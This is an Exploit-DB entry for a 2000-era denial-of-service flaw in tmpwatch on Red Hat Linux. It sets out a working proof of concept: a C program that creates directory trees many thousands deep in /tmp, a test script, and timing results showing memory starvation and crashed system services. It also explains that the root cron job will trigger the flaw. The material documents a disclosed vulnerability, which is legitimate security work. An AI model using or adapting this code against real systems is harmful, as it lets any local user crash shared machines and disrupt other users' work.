RedHat Linux 6.1 i386 - Tmpwatch Recursive Write Denial of Service

EDB-ID:

20217




Platform:

Linux

Date:

2000-09-09


source: https://www.securityfocus.com/bid/1664/info

Any user with write access to /tmp or /var/tmp, can induce tmpwatch to cause Red Hat (and others runnng tmpwatch from cron) to stop responding, and possibly require a hard reboot. This is accomplished by creating a directory tree many (ie. ~6000) nodes deep in /tmp. For each level of the directory in /tmp, tmpwatch will fork() a new copy of itself.

Red Hat affected versions:

Red Hat Linux 7.0 (tmpwatch v.2.5.1)
Red Hat Linux 6.2 (tmpwatch v.2.2) 

Note:
(excerpted from Internet Security Systems Security Advisory)

"Source code comparison between the Red Hat Linux 6.2 and 7.0 tmpwatch packages
suggests this vulnerability was recognized and a fix was attempted. However,
the fix is incorrect, and the vulnerability is still exploitable.

Do not use the --fuser or -s options with tmpwatch."

---START---cut---:a.c (mode 644)
// 
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
int c=0,d=0;
if (argc!=2) 
{
while(!chdir("./A"))c++;
chdir("..");
printf("c=%d removing\n",c);
while(!rmdir("./A")) {chdir("..");c--;}
if(c)printf("erm. bad thing.\n");
}
else
{
c=atoi(argv[1]);
printf("c=%d making.\n",c);
while(c--)
{
mkdir("./A",0777);
chdir("./A");
} 
}
}
--END---cut-----:a.c

# ./testscript

(code follows)

---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a 
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results

--END---cut-----:testscript

If you don't want to test it manually, here you will find the results on
the tests on my machine. Who says u need an Athlon with cable or DSL. I
say "Well, it would be nice. Real nice." I also think this program would
probably die faster and more spectacularly on a fast machine with a huge
amount of memory and swap space. Oh yeah. Save anything important. And you
have to run it as root. (I think. Should probably thought of that. I'll
remember it for next time.) The crontab is an effective way of getting it
run as root. Which it wants to do anyway. At about 4am everyday.

--START---cut---:timer.results (mode 644)
c=1 making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100 making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200 making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300 making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400 making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500 making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600 making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600 removing
c=600 making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700 making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800 making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps
--END---cut-----:timer.results

(System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.)

(^C was pressed after about a minute into the 800 deep one. Several system
programs died due to memory starvation. It took a quite a while afterwards
before the console regained any usabilty. When i tried to run startx, it
refused to start. xfs had died. everything looked odd. slow motion. i
think it was because of the loadavg)

# uptime
9:00pm up 2:14, 2 users, load average: 202.28, 363.68, 186.46